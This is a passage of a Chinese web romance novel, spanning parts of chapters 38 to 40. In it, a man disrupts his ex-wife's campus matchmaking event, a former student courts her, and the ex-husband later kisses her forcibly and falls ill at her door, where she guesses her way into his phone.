江淮纳闷:“怎么没用了?我觉得说得挺有道理啊。” 骆亦迟摇摇头,什么突然撤离,什么精准需求,都试过了,全没用。 如果把挽回许满当成一场考试,那许满这张卷子,他交的就是白卷。 骆亦迟喃喃道:“情况就是这么糟糕,许满现在内心最需要的,就是我不出现在她眼前。” 江淮不知道事情是如何发展成这个样子的,看骆亦迟愁眉苦脸,自己也跟着着急。 “许老师是博士对吧?前两天我特意找了几篇她发表的论文拜读,好家伙,好几个顶刊呐!她读博期间是不是光写论文了?最近学校在遴选硕导,以许老师的资质,报名了肯定能通过,这样吧,你送她几篇SCI,她发现你这么努力追随她的脚步,没准就觉得志同道合,对你印象改观了呢。” 江淮就是风凉话一说,乱出主意,没想到骆亦迟听进去了,还真认真思考起来,“怎么弄?跨专业了,我不会写,买别人没发表过的行不行?” “……” 完了,这人想来真的。 江淮赶忙圆道:“我就随便说说,你要找人买也得有渠道才行,再说许满那可是博士,论文水平好坏她一眼就看出来了,你找人买还得挑比她厉害的,你有那人脉吗?你别看我啊,我还想有人送我SCI呢……” 江淮刷着手机哀嚎,冷不丁的,在一众晒娃和秀恩爱的九宫格里,看见了当事人许满不起眼的一条转发。 他立即点进去,一看,许满一个月可见的朋友圈,已经连发了七天! “我去……快快快,骆亦迟,不得了,你前老婆要去相亲了!” “什么?”骆亦迟像被按了开关,立刻挺直身板。 江淮点开许满转发的内容给骆亦迟看,顺道解释:“学校跟其他高校联合,要举办什么联谊活动,哎就是做红娘给未婚人士牵线搭桥呢,许老师竟然报名参加了!就这条朋友圈,参加的人连续转发有奖!” 骆亦迟夺过手机就把许满的朋友圈翻了个底朝天。 结果一连看到七条一样的转发,可见参加的决心有多大! “都转发七天了,你怎么才说?你应该第一天就告诉我!” 江淮冤枉:“我又不参加,朋友圈里全都是,我哪会关注是谁发的?” 骆亦迟咬牙,手掌烦躁的抵在膝盖上拍来拍去,“怎么报名?” “不是,你要去?都过了时间了,下午五点就报名截止了,现在都凌晨一两点了,天一亮活动就开始了。” “在哪儿,天亮后你带我去。” 后面的酒喝得再没一点兴致。 骆亦迟煎熬的在酒吧坐等到天亮。 天一亮,江淮开车带他去了联谊现场。 联谊活动在连大室内体育馆举行,现场得扫码进去,因为江淮和骆亦迟都没报名,骆亦迟又跟保安起了冲突,保安就拦着不让他们进,连江淮说自己是本校老师都不行。 “按照我的经验,一会儿就能随便进了。”江淮安慰着,拉着骆亦迟回车里等。 活动在十点开始,两人一直等到十点。 许满是踩着点来的。 她穿了高跟鞋,还特意化了个干净素雅的淡妆。 许满在门口碰见了张澜,两人开心的聊了几句,一起扫码入场。 眼看许满不见了身影,江淮觉得这样干等下去不是办法,微信问参加活动的同事,现场还有没有其他报名渠道。 同事大概没看见,一个多小时后,才回复: 【不好意思啊江老师,刚才在做游戏,没空看手机,江老师你没参加吗?要参加的话我带你进来吧,不过没号码牌了,有号码牌才能做游戏。】 游不游戏无所谓,只要能进去就行。 江淮和骆亦迟被好心同事带进去了。 体育馆内布置得相当浪漫,一进门仿佛踏入了粉红色的海洋。 鲜花围成了一整面的签到墙,粉白两种颜色的气球绕成一个拱门,里面鲜花气球彩带铺了满地。 骆亦迟没心思欣赏,他目光犀利的在粉得刺眼的场地里扫来扫去,寻找许满的身影。 江淮拉着他坐在同事旁边。 浪漫欢快的背景音乐里,主持人高调宣布下一个环节:“下面我们进行游戏,杯水传情——” 找到许满了,她和刚才一起进去的那个女老师坐在一起! 等等,旁边怎么还有个小男生? 主持人:“每组分别男女两人,每人一个水杯,用嘴叼住,不能用手,面对面往另一个人的水杯里倒水,规定时间内,哪组水多哪组获胜……” 骆亦迟目光凶戾,恶狠狠盯着许满旁边的小男生,那个在流云湾许满家里直播唱歌的小男生。 小男生倒了一杯水,叼在嘴上试了试,然后想要传给许满…… 这时,江淮旁边的同事忽然开口。 “那个是建筑院风景系新来的许老师吧?一来我就注意到她了,她身边一直有个跟屁虫,刚才做游戏,两人三足和心心相印就是他俩组队,现在又想组一起,都不给别人机会,他们不会是男女朋友吧?这就没意思了,都处对象了还来联谊?” 江淮顺着同事所指看过去,终于找到了许满的位置。 他好奇的看着许满身边那个男生,总觉得眼熟,好像在哪儿见过。 在哪儿呢…… 忽然灵光一现!想起来了! 江淮激动的指着那小男生,唾沫横飞:“他他他,哎哟,他不是那谁吗?” 江淮没想起来名字。 但不重要。 “当初华庭府那房子,就他跟许老师一起来租的,当时我问他们什么关系,许老师一口咬定说是师生,这哪儿是师生啊,我火眼金睛早就看出来了,当时这小奶狗看许老师的眼神就拉丝,现在不仅拉丝,都他妈黏成一坨了!” 骆亦迟脸黑如锅底,登时坐不住了,蹭的一下站起来。 江淮喷归喷,但比骆亦迟冷静多了。 他连忙按住躁动不安的骆亦迟:“稍安勿躁,稍安勿躁,忘记在酒吧里怎么教你的了?公共场合,都是许老师的同事,你要不要面子无所谓,但是得给许老师留点面子。” 骆亦迟忍气吞声,拳头紧攥,被迫无奈又坐下来。 游戏开始。 许满和梁桓宇开开心心叼起水杯,盛满水的水杯从许满嘴里,稳稳的倒进梁桓宇口中的空杯里,梁桓宇小跑着又倒进不远去的水桶里。 许满又叼起一杯水…… 两人距离不过咫尺,鼻尖靠近,几乎碰到一起,倾斜,停顿,又分开。 如此,一分钟内,八次。 骆亦迟的心被悬着吊起,刺痛,死了八次。 许满他们赢了没有,他没注意,他只注意到许满因为这样荒诞无聊的游戏而扬起的笑容,灿烂,明媚。 他多久没看到了,那是和他相处时,不曾出现过的单纯和快乐。 游戏结束之后,是献花表白环节。 男生女生各占一排,选择心仪对象表白。 骆亦迟不能再等下去。 不管劝自己多少次,他都无法做到,亲眼看着许满选谁,或者是被谁选。 主持人一声令下,环节启动。 骆亦迟不顾江淮的劝阻,站起来,快步走下台阶,冲进活动现场。 在梁桓宇拿着鲜花向许满走近时,他不管不顾牵起许满的手,在一片哄闹声中,毫不犹豫将许满带离了。 第39章 第 39 章 不要喜欢他。 “骆亦迟, 你又要干什么?” “不是说好不打扰我吗?” “轻点,你抓疼我啦!” 许满试图将手腕从骆亦迟手中挣开。 高跟鞋踩过体育场的木地板, 又踩过前厅的水磨石,最后踩上室外的水泥地。 许满被牵着一路小跑。 “我们都分开这么多年了,早该各自向前,你这样一直困在过去,抓着一个旧人不放,一而再再而三干涉我的私生活到底想做什么?” 许满一声声质问, 骆亦迟紧绷着脸不作答,他步子迈得极大,只想赶紧带许满离开,远离那个一看就不怀好意的小男生。 快走到校门口了, 后面力量突然下沉,只听许满“啊”的一声, 骆亦迟仓促回头, 许满却已经坐在地上, 高跟鞋挂在脚尖, 手按在脚踝, 怒气冲冲的瞪着他。 骆亦迟忙蹲下身去查看许满的脚。 许满把脚收回, 不让他碰。 骆亦迟固执的探向那藏在裤脚下的脚踝, 握住了, 放在手心里轻揉。 “那个小男生目的不纯, 他对你有想法。”他说。 “哈?” 许满听了真是想笑, 听听骆亦迟这是什么话, 他怎么还没认清现实? “这好像不关你的事吧?” “你喜欢他吗?”骆亦迟冷不丁的问。 顿了一下,又语气低微:“你能不能,不要喜欢他。” 他神色黯然, “他不适合你。” “那谁适合我?你吗?骆亦迟,我记得我早跟你说过,我跟你最不合适了。” 骆亦迟权当没听见,周末校园里人来人往,他旁若无人,低头专注揉着许满的脚踝。 直到许满在路人八卦的目光里尴尬起来,“好了,不用揉了。” 骆亦迟给她穿上鞋。 “我送你回家吧?”他作势要将许满抱起来。 “不,活动还没结束,我要回体育馆。” “你要去找那个小男生?”骆亦迟脱口,言辞急切的阻止她,“你能不能别去?” “不能。” 她的东西还在体育馆,礼品没领,抽奖也还没参加,总不能白来一趟吧? 许满并不管眼前这个男人怎么想,站起就往回走,刚走了没两步,梁桓宇迎面跑了过来,手里还提着她的包。 “老师,”梁桓宇来到跟前,满脸担忧的将许满上上下下检查了一遍,“你没事吧?” 许满摇摇头。 确认许满无事,梁桓宇眼神一凛,像护食的小狗一样拉过许满将她挡在身后,横进两人之间,冷静与骆亦迟对峙。 他与骆亦迟身量相当,盛气凌人平视着他,用充满敌意的口吻说:“前夫哥,别挡路。” 他特意咬重“前夫”两个字。 骆亦迟没动。 他无视梁桓宇,只目光不舍的落在许满身上,“你要跟他走吗?” 许满别过头,“是。” 此时骆亦迟脑子里只有一个声音,不能让许满跟这个小男生走,一走,他跟许满的可能性就微乎其微了。 他绝不允许这种事情发生,径直越过挡路的梁桓宇,扣住许满的手执意要将她带走。 “不能,你不能跟他走!” “别管闲事好吗?”许满不让骆亦迟碰她,浑身扭动要摆脱骆亦迟。 她不从,骆亦迟只能转变方法,干脆弯腰直接将她抱起,扛在了肩上。 许满惊呼一声,双腿蹬动,嘴里大喊:“这可是在学校,你这样我喊人了!救命……报警!梁桓宇快报警啊!” 喊声引起异动,来往学生纷纷驻足看热闹,有的甚至举起了手机。 而几步之遥,江淮终于姗姗来迟,一看到熟悉的场景登时头疼骂娘,“我艹……这厮又来强抢民女。”赶忙上前劝止。 谁知还没跑到跟前,梁桓宇不知从哪儿找来根棍子,少年一时脑昏冲上头,举起棍子就往骆亦迟的腿弯一挥—— 江淮阻止根本来不及,只能眼看着骆亦迟后腿挨了一记,身子一歪,猝不及防的单膝直直跪在了地上。 骆亦迟膝盖重重砸地,闷哼一声,嘴里直抽冷气。 “走!” 梁桓宇扔掉棍子,趁机将许满扶下来,毫不犹豫拉着她抬脚就跑。 江淮顾不上找梁桓宇要说法,抱着头第一时间去看骆亦迟有没有怎样。 而骆亦迟一味保持着单膝跪地的姿势,望着许满被带跑的背影,眼神空洞,面如死灰,双手无力的垂在身侧。 许满头也不回,像之前每一次一样。 骆亦迟仿佛连人带心都被挖空,半点支撑都没有的,慢慢伏下了身子. “你打他用了几分力?” 许满望着出租车外倒退的风景,问梁桓宇。 “八九分吧。” 心蓦地一缩,许满说:“以后别这样打人了。” 梁桓宇听这话有点不高兴了:“老师心疼他了?” “没有。” “那为什么突然这么严肃的教训我?” “不是教训你,就是想告诉你,打人不对。” “哦,这样啊,我还以为我打他,老师你伤心了。” 梁桓宇说着又笑起来,手放在许满的膝盖上,磨磨蹭蹭,小狗似的讨好,想去牵许满搭在腿上的手。 大概是感觉到了身边男生想做什么,许满面向车窗外的眉眼不禁微皱,借口放松,收腿俯身脱下高跟鞋,去捏酸疼的脚掌。 “你要带我去哪里?” “去吃个饭,然后参观我的工作室。” “工作室?” “老师你还不知道吧?我的工作室选址在连城。” “在连城啊,离家近,这样挺好,可以随时回家看看。” “不,不是因为离家近。” 梁桓宇看向许满,语调轻缓,说得认真,“是因为离老师你近。” 许满捏脚的动作一顿。 这时,出租车停了。 梁桓宇打开车门:“吃饭的地方到了,老师,我扶你下来。” 下了车,梁桓宇将许满引进了一家格调高雅的西餐厅。 服务员带着他们左拐右拐,进了一家包房。 “老师,坐吧。” 梁桓宇给许满拉出凳子,等许满坐下,又将菜单放在她面前。 “看看想吃什么?” 许满瞄了一眼菜单,好家伙,一杯果汁299,最普通的蔬菜沙拉都要五百块,更遑论其他招牌菜了,许满不敢点了,合上菜单,表情纠结:“好贵啊梁桓宇,我们换一家吃吧。” “请老师吃饭,这点钱算什么?” “老师要不我帮你点吧。” 梁桓宇把菜单拿走,三下五除二点了三四道菜。 等菜的间隙,许满空出时间打量这间包房。 灯光昏暗,氛围浪漫。进门的木质柜子上放着一台美式留声机,铜质的花朵造型喇叭正在缓缓流淌出清晰饱满的小提琴音;后面的墙上挂着巨幅油画,繁花之中,一圣洁的天使张大翅膀,深情拥吻怀中的少女;面前的蕾丝餐桌上,玫瑰花瓣铺满桌面,正中,摆着一个银质烛台,台上烛光摇曳,旁边的醒酒器里,深红色葡萄酒荡起细细小小的波纹。 “老师能喝酒吗?” 梁桓宇给许满倒了杯酒。 “尝尝这儿的葡萄酒,听说全是法国空运过来的。” 许满轻轻抿了一口,酸,苦,跟中药差不到,面容扭曲的放下了。 “怎么这副表情?喝不惯吗?” “嗯,喝不惯,还不如喝葡萄汁。” “那我点杯葡萄汁给老师喝。” 梁桓宇说罢就要叫服务员。 许满赶忙制止,“一杯果汁都顶我一天工资了,算了,这儿不是有白水吗?我喝水就行了。” 梁桓宇微微一哂:“老师我请你吃饭,你还帮我省钱,你不用帮我省,我现在会赚钱,赚的还比你多。” 许满听着,心中升起一种不好的预感。 从今天早上莫名出现在联谊活动现场,许满就觉得梁桓宇不对劲。 她不由蹙眉。 可能骆亦迟说得没错,梁桓宇今日种种举动,目的都不纯洁。 服务员将菜品端上来,是两份牛排,分别放在两人面前。 梁桓宇熟练的切好自己面前的,端过去给许满:“你吃这个,给你切好了。” 然后将许满的换过来。 “吃吧,老师。” 梁桓宇递给许满刀叉。 许满接过,叉了一块牛肉,放进嘴里,机械的咀嚼。 牛肉很嫩,味道很可口,但她吃着却没什么滋味。 “老师,参观完工作室,我还想和你一起看电影。你想看什么片子?文艺片还是推理片?先说好啊,我不看动画片和恐怖片,老师要不我们看文艺片吧,听说这部片子口碑不错……” 梁桓宇在手机上划拉着。 “梁桓宇。”许满放下刀叉,“吃完饭我们就回去吧,我还有事要忙。” “什么事?我陪你一起吧,正好我没事。” “不用,我想自己待着。” “哦,这样啊,那我们可以明天约。” “不,我不想和你约。”许满正色,用很严肃的口吻指出,“尤其还是以这种约会的形式。” 梁桓宇笑容骤然僵在脸上。 “梁桓宇,今天我们这种相处模式,过界了。” “老师你什么意思?” “我才应该问你什么意思?” “我什么意思……”梁桓宇低声重复,他看了一眼许满,却不敢对上她直白的目光,摸着后脑勺,叉子在手中局促而难堪的转来转去。 “老师你是在……拒绝我吗?” “我们不合适。”许满果决的说。 突然得到结果,梁桓宇眼眶泛起酸意,红着眼求证:“我们哪里不合适了?我们不是……一直都相处得很愉快吗?” “我们哪里都不合适,身份,年龄,经历,出身……哪哪儿都不合适。” “你说的这些都不是问题!我不在乎你年龄比我大,也不在乎你结过婚,更不在乎你是单亲家庭,我爸妈思想开放,他们会同意我们在一起,你爸爸也很喜欢我,老师你还介意什么?” “老师?梁桓宇,你还知道,我是你老师。”许满强调道。 梁桓宇猛地一怔,“老师”两个字,完全是他叫习惯的称呼,他从没把许满当成过老师,更没想到过,有一天,这个平常不过的称呼,会成为许满拒绝他的理由。 许满:“学生怎么能喜欢自己的老师呢?” 梁桓宇反驳:“可你不是老师。” “只要你上过我一天的课,当过我一天的学生,这个关系就是成立的。” 梁桓宇兀自坚持:“那怎么能算呢?” 许满:“但凡你拉一个认识你我的人问问,都会说你是我学生,所以怎么不能算呢?” 梁桓宇垂眼:“你这样说,是要告诉我,我和你不可能,对吧?” “我们之间的关系就决定了一切都不可能。” “那谁和你才有可能?许满,是你的前夫吗?” 他不再叫老师,而是叫的许满名字。 “从今天开始,我不叫你老师,我叫你许满,可以吗?我不要你当我老师,我也不做你的学生,你什么都没教过我,你都不配当我的老师!” 梁桓宇渐渐口不择言。 “等你适应我们的正常关系了,你就会接受我了,我会给你提供好的物质生活,你看我现在都创业了,我以后会赚很多的钱,虽然不如你前夫赚得多,但我有能力养活你!” “梁桓宇!”许满越听越不像话,忽然大声,“你昏了头了!” 她干脆拎包站起来,“你自己冷静想想我说的话。” 话毕,大步往门口走去。 梁桓宇紧跟着推开椅子,在许满手放在门把手上时,他突然一把捞过许满的手,五指紧扣带着她一个旋转,让她面朝自己抵在了门板上,接着另一手扶上她的腰。 许满被梁桓宇压着,胸膛相贴,梁桓宇的嘴唇离她的鼻尖只有一根手指的距离,她能清晰感受到对面男生喷洒在她鼻尖上呼吸,滚烫,炙热,混乱不堪。 “许满,你别走,我话还没说完。” “我不想听。” “那就不听吧,看我做也行。” 说着,梁桓宇低头凑近。 许满后背紧贴着门,无处可躲,几乎是下意识的,紧闭双眼把头避开。 梁桓宇灼热的唇擦着她的嘴角,落在了耳垂上。 “梁桓宇,非要将我们之间的关系破坏到无法挽回的地步吗?”许满冷冷的说。 梁桓宇呆住。 紧扣手指的力量微松,许满趁机挣开梁桓宇,转身开门,迅速逃了。 许满漫无目的行走在大街上。 穿了一天的高跟鞋,脚痛得很,看见一家商场,许满进去买了双平底鞋。 换好鞋从商场出来,路过一家奢侈品店,沿街橱窗里的一双鞋,她驻足停在那里,神思恍惚的看着。 跟那天骆亦迟买给她的一模一样。 她其实一直没跟人说,骆亦迟买给她的鞋穿上正合适。 她一直以为骆亦迟不知道她脚的码数,毕竟在他们短暂一年的婚姻里,除了洗发水沐浴露,骆亦迟从没主动给她买过什么,都是缺钱了,丢给她一笔钱让她自己买,她不知道骆亦迟从哪里知道的她的鞋码。 走了好一会儿,路灯渐渐亮起来,入秋后天黑的早,许满一天没吃饭,刚才在西餐厅只就着白开水吃了一块肉,现在饥饿感上来,刺激得胃疼。 不远处有一家面馆,许满进去吃了一碗面。 吃完饭,又想起梁桓宇。 不知道他怎么样了?有没有想不开钻牛角尖? 许满想发微信问一下,找到梁桓宇打开聊天框,犹豫半天,又退了出去。 算了,还是保持边界感吧。 刚关掉手机,又有新的消息提示。 张澜发来消息:【许老师,在约会吗?】 后面附带了一个八卦的表情。 【跟谁?是今天把你带走那个老腊肉?还是今天和你一起做游戏的小鲜肉?】 许满回复:【都不是。许老师在水仙,自己跟自己约会。】 张澜:【惊讶.jpg】 许满:【张老师有收获吗?】 张澜:【无,抽奖也没中,陪跑一天最后只得到了丘比特公仔,这是不是意味着我以后只能跟公仔过了,哭】 许满:【摸头,我连公仔都没,以后只能自己一个人过了,哭】 张澜:【许老师,别这么悲观,小瞧我们的关系了是不?我当然帮你把公仔带回来了!叉腰仰天大笑.jpg】 许满:【感动,泪眼汪汪】 张澜:【既然都落单了,许老师,要不我们约一个?抛媚眼.jpg】 许满:【好呀】 张澜:【许老师现在在哪?】 许满发过去一个定位。 张澜:【你竟然在市中心!你等我,你附近有一家商场我老早就想逛了,我这就过去。】 半个小时后,张澜带着俩公仔出现了。 张澜想看电影,俩人选了部爱情电影拿着爆米花进了影院,看完被主角感天动地的感情感动,哭得双眼通红,妆都花了。 两人互相笑话,笑话完又一起去商场的化妆品柜台补妆,结果不好意思拒绝柜姐的热情服务,给柜姐贡献了不少业绩。 顶着美美的妆,两人在商场里大逛特逛。 花钱可以使人快乐,许满花了钱,买了东西,被骆亦迟和梁桓宇烦扰的阴霾心情一扫而光。 两人拎着大包小包,赶在商场关门前出来。 外面天不知什么时候变凉了,阴沉沉的刮着风,像是要下雨。 看时候不早了,许满和张澜打道回府,一起奔向最近的地铁站,各奔各家。 从地铁站出来,天空已经飘起了雨,许满从便利店买了把伞,撑开慢慢往家赶。 进了小区,搭上电梯,数字一个个往上跳,跳到22时停下,叮的一声,门打开。 走廊的声控灯应声亮起,许满抬脚迈出电梯。 2202房门前,枯等一整天的男人闻声,迟钝的抬起头来。 许满吓了一跳,东西差点掉地上。 骆亦迟眼皮半掀望着她,面容憔悴嗓音沙哑:“许满,你回来了。” 第40章 第 40 章 密码。 骆亦迟靠墙站着。 许满没有立刻过去。 她在原地站了一会儿, 才迟疑着迈开步子。 有极轻的酒气擦过鼻尖。 许满缓步走近,行至门边, 酒精味道变得愈发浓烈。 “你喝酒了。”她说。 “嗯,喝了点。” 骆亦迟低着头,额前碎发遮住他的眉眼,看不见他的表情。 许满手按在密码锁上,数字亮起,刚按了一个数字, 骆亦迟忽然伸过手来,将她的手用力扣住。 他掌心很烫,声音却很轻,“怎么这么才晚回来?” 他还以为许满今晚不会回来, 做好了枯等一夜的准备。 许满说:“办完事就回来了。” “哦。” “我该休息了,你放开, 我要进去。” “哦。”骆亦迟嘴上应着, 手上却没有任何放松的意思。 相反, 他靠过来, 一把拽过许满, 不由分说将她揽进怀里。 “许满, 让我抱一会儿吧, 我太难受了, 就当你可怜我, 好不好?” “不好。” 可能是喝了酒的人力气大, 许满双臂被紧箍着, 挣脱不得。 她有心气一下骆亦迟,于是说:“骆亦迟,你这样抱着一个有对象的人, 算什么样子?” 骆亦迟浑身巨震,如遭雷击。 “你说什么?” “听不清吗?还要我再重复一次?” 骆亦迟不可置信的抬头,想从许满脸上看到一丝欺骗的痕迹。 “你和他在一起了?” “不然呢?你以为我为什么这么晚回来?” 许满脸上的妆容比上午见面时精致了许多,尤其嘴唇那里,口红明显是补过的,如果细看,还能看到唇周蹭染的红色痕迹,像被人小心珍重的疼爱过,又用粉底欲盖弥彰的遮住一样。 骆亦迟看着那痕迹,眼底蒸腾出一股名为不甘的情绪。 是那个小男生做的? 他怎么可以? 许满怎么能允许他可以? 骆亦迟拼命压抑着内心的愤怒,咬牙确认道:“他吻你了?” 许满眸光冰冷:“是的。” 顷刻间,骆亦迟呼吸变得急促,暗潮之下,怒火涌现。 凭什么那个男生可以,他就不可以? 下一秒,他俯身,单手扣住许满的后脑勺,另一只手按住许满的腰,将她猛地往怀里一带,二话不说,强硬的吻住了那冷漠的唇。 东西哗啦啦摔了一地,骆亦迟箍住许满的力道极大,许满用尽全力去推,却无济于事。 灼热的酒精味在唇边炸开,铺天盖地,将周围的空气侵染殆尽。 “骆……不要……”许满颤抖的反抗。 然而嘴巴张开,却给了对方更加深入的机会。 湿滑的舌粗_暴探进唇齿,带着愤怒和渴望,搅得人神经发麻。 占有欲压抑得太久,星火燎原。 骆亦迟似是要把那个男人的痕迹一丝不留全都抹去才罢休,唇舌交缠疯狂掠夺,力道重得不给怀中人任何喘息的机会。 廊灯灭了,空气渐渐变得稀薄。 许满一句完整的话都说不出来,她感觉自己要缺氧了,嘴巴明明大张着,呼吸却变得异常艰难,骆亦迟强硬的扣着她,疯狂挤压他们之间的空隙,非得把她吃拆入腹不可,不给她任何逃脱的机会。 她的眼角被逼出泪花,闭着眼,勉强找到了一丝机会,用力去咬对方的舌。 血腥味在口腔中爆开,又咸又甜,与残存的酒精交融在一起,许满低低呜咽着,骆亦迟仿佛失去了痛觉,浑然不觉的,将她吻得更加密不可分。 直到,细细小小的啜泣声从怀中传出来。 骆亦迟混沌的脑子猛地炸开一道暗光,颤抖的,松开了许满的唇。 “许满……” 他小心抚向许满的脸颊,黑暗中,有晶莹的泪花闪落,滴在骆亦迟的拇指上,烫得骆亦迟一瑟缩。 “许满,你,你别哭……我不是故意的。” 他乱了章法,轻轻啜吻许满的眼泪,但许满却哭得更加厉害。 “许满,对不起许满……对不起……” “你别哭,我错了,是我错了……” “我混账,我该死。” “你打我吧,来,你打我。” “你别哭了好不好……” “你一哭,我心里就难受……” 骆亦迟不知道该拿许满怎么办,无助的抓住她的手,疯狂往自己的脸上拍。 “你要是不高兴,你就扇我,给,我扇我吧……” 但许满的手松耷耷的,没有一点力气。 “许满,要我怎样,怎样你才不哭……” 骆亦迟懊恼,后悔极了,拥着她絮絮叨叨祈求原谅。 许满哭了好久,哭够了,将剩余的眼泪胡乱擦在骆亦迟名贵的西装上,缓缓抬起头来。 廊灯亮了又灭,黑暗中,那被泪水浸润过的眼眸格外晶莹明亮。 “就算我打你,刚才的事情就能不发生吗?” “你对我这样子,我男朋友会不高兴的。” “骆亦迟,你走吧,不要再来找我了。” 雨下大了,刷刷啦啦,在黑暗的走廊里听得分外清晰。 骆亦迟慢慢松开箍住许满的手,怀里的温度撤离,许满提好东西,开门,进了房间。 走廊灯重新亮起,骆亦迟拇指摩挲着唇上残留的温度,缓缓地,抬手打了自己一耳光。 他靠墙站着,脚边是一把雨伞,不知道是许满忘了拿进去,还是特意留下的。 这一晚许满睡得很不踏实。 闭上眼,脑子里都是那个强势窒息的吻。 许满暗骂自己没出息,一个吻而已,怎么就搞得睡不着了? 一定是太久没有性_生活的原因。 再次尝试入眠,突然想起,今天刚买的伞没拿回来,还在门口放着。 不知道骆亦迟走了没,如果伞没拿进来,一定会给他造成误会的。 现在凌晨四点多,许满走到窗边看,外面雨还在下,但已经小了很多,不用打伞也行。 也许骆亦迟早走了。 五点多物业就会上班,如果看到一把伞留在门口,估计会被当成垃圾丢掉。 刚买的伞,许满可不舍得,听门外没动静,便打开门,想把伞拿回来。 结果一开门,骆亦迟靠坐在墙边,头埋在胳膊里,听见开门声却毫无反应,似乎在睡觉。 怎么还没走? 许满蹙眉,关门进去。 半分钟后,又开门出来,推了推骆亦迟。 “喂,骆亦迟?醒醒。” 骆亦迟扬起脸,难耐的闷哼一声,吐出一口滚烫的浊气。 他双眼紧闭,脸色惨白,嘴唇毫无血色。 许满觉得不对劲,又推了推他,“骆亦迟?” 骆亦迟蜷成一团,倒在了地上。 许满大惊,赶紧拍骆亦迟的脸,“骆亦迟?你怎么了骆亦迟?喂,醒醒……” 不拍不知道,一拍,才发现他脸颊滚烫,再摸额头,不是正常人的温度。 发烧了。 雨夜寒凉,八成是冻的,许满暗暗腹诽自己,没事儿开门做什么,看吧,给自己惹上事儿了。 本着人在自己家门口病倒,千万不要被讹上的心理,许满费劲的把他拖进屋里,放在门边,用一次性水杯盛了一杯热水端给他。 “喂,骆亦迟,喝点热水。” 许晋文不在,家里没有常备药,能给骆亦迟的,就只有这一杯热水。 骆亦迟迷迷糊糊的去拿水,手上没劲,没端稳,把水给弄翻了。 许满“啧”的一声,不高兴的又去倒水。 这次她把水举着,掰开骆亦迟的嘴巴,一边灌一边流,看他喉结滚动下咽,知道勉勉强强喂进去几口,才作罢。 平时见骆亦迟跟江淮交往密切,想了想,许满便给江淮打去电话,让他来把骆亦迟接走。 电话打过去没人接。 三四遍,都是如此。 怎么办? 她和骆亦迟的共友就这一个,没人来接他,总不能让他一直待在自己家里。 要不找其他人? 找谁呢? 许满想到了池柠。 她没有池柠的联系方式,思忖了几秒钟,手伸进骆亦迟口袋里,去摸他的手机,想用他手机给池柠打电话。 摸到了,取出来,按亮手机屏幕。 有密码,打不开。 许满从网上搜出池柠的生日,试着输入。 密码错误。 竟然不对? 那换骆亦迟的。 密码错误。 都不是? 难道是银行卡密码? 再次输入。 错误。 “……” 杜曼玲的生日?错误。 123456?错误。 离婚纪念日?错误。 结婚纪念日?错误。 身份证前六位,后六位,最后试到骆亦迟的手机号…… 嗡——手机锁了。 得等一分钟才能解锁。 “骆亦迟,你手机密码是什么?我给池柠打电话让她来接你。” “骆亦迟……骆亦迟?” 骆亦迟费力的半睁开眼,看见许满手中的手机,迷迷糊糊说:“密码……生日。” “谁的生日?” 他不说话,目不斜视望着她,似乎答案在他眼睛里一样。 一分钟到,许满犹犹豫豫试着输了自己生日。 手机打开了。 映入眼帘的是微信消息列表页。 列表页有个置顶头像,许满瞟了一眼,觉得熟悉,本以为会是池柠,刚要点开,却看清那个头像。 平静的心掀起一阵细小涟漪。 那似乎是自己六年前用过的头像,此时正独一无二的待在置顶位置。 许满心里生起一股说不清的情绪。 她忘了打开这台手机的目的,手指悬在置顶这一栏上,始终没有勇气点开。 她很矛盾,既怕点开了看到的是自己,又怕看到的不是自己。 “你为什么……?”她喃喃开口。 “用你的生日做密码?”骆亦迟接话。 “嗯……” “我以为,这些日子我所做的这一切,已经足够让你看清楚。” “可是,你明明就不知道我生日啊。” 许满的生日在冬天,认识她的人,通过她的名字猜,她可能出生在小满时节,其实不是。 许晋文给她取“满”这个字做名字,是希望她人生完满,得偿所愿。 可作为人,哪会有完满的人生? 许满打小失去妈妈,后来又失去奶奶,生日一直过得七零八落。 许晋文偶尔会记起来,“满儿,过几天就是你生日,今年想要礼物,还是想吃长寿面啊?” 许满说:“都行。” 可是真到了那一天,就又忘了。 过后再想起来,许晋文又赶紧补上,或者不补了,给一句安慰:“明年给你好好过。” 穷人家长大的孩子,不会在意这些仪式感,每年生日,许满除了感叹自己又长大了一岁,过得和往常任何一天都没什么两样外,还不如通过一场考试,或者成功发表一篇论文来得开心。 可是和骆亦迟结婚的那一年,是不同的。 她有过期待,期待骆亦迟记得。 但那一天,骆亦迟下班回到家,她兴冲冲的从厨房端出两碗长寿面和骆亦迟一起吃,骆亦迟吸溜吸溜吃完,筷子一放,就去沙发上看电视了,根本没意识到那天是什么日子。 许满失望了那么一下下,后来提起来,骆亦迟还怪她,为什么不早说。 而半年后,骆亦迟从撕毁的离婚证上看到许满的身份证号码,知晓了那个日期,却也失去了为她过生日的机会。 许满还是没有勇气点开那个置顶微信号。 她把手机还给骆亦迟:“既然清醒了,就自己找人把你接走吧。” 骆亦迟仰头闭眼靠在墙上,他没有接手机。 而就在这时,许满余光瞥见,列表下方标着池柠的那一栏上的一行小字:【你怀孕的消息不会爆出来,我已经让廖延花钱买通……】 后面的文字被隐藏了,看不见。 而紧挨着池柠的,是廖延的消息:【放心,不会有人知道池柠怀孕了。】 许满莫名被“怀孕”两个字刺痛。 为什么池柠怀孕与否还得通知骆亦迟? 她想不通,是多重要的关系,在消息没有爆料以前,就非得花钱买下来不可? 许满不敢想,一深想,她就觉得自己又犯蠢了,怎么永远学不会吃一堑长一智的道理。 从今夜强势的吻,到她的生日密码,再到刚才的微信置顶,她不否认,自己坚硬的心出现了那么一丝动摇,差点就被感动得一塌糊涂了,却因为这条消息,热情又被兜头浇灭,迅速冷却下来。 她将手机丢还给骆亦迟,打开门,下令驱赶:“既然不找人来接你,那就自己回去吧,外面正好雨停了。” 冷风灌进来,吹着骆亦迟发烫的身躯。 他难受,低声请求:“许满……” 许满不想听,“骆亦迟,我刚开始一段新感情,你用我的生日做密码,这不合适。” 许满居高临下看着坐在地上的男人。 “天快亮了,天一亮,我男朋友就会来接我出门,你快点回去吧,他看到你,会生气的。” 骆亦迟纹丝不动坐着,秋日的冷风从后脖颈钻进来,灌进他的皮肤,浸入他的骨髓里,他分不清寒冷是来自心里,还是出自身上。 牙齿在打颤,但眼眶却烫得发疼,他扶着墙,摇摇晃晃站起,内心渴望,身边的女人能施舍给他一点温度。 然而许满却将门缝又开得大了一点。 “你这么想赶我走啊。” “是不是不管我做到什么地步,你都不会原谅我?” 他站在门口,一步之遥,就可以出去。 可心里却期盼着,能得到一个答案,哪怕那个答案里,希望渺茫如尘。 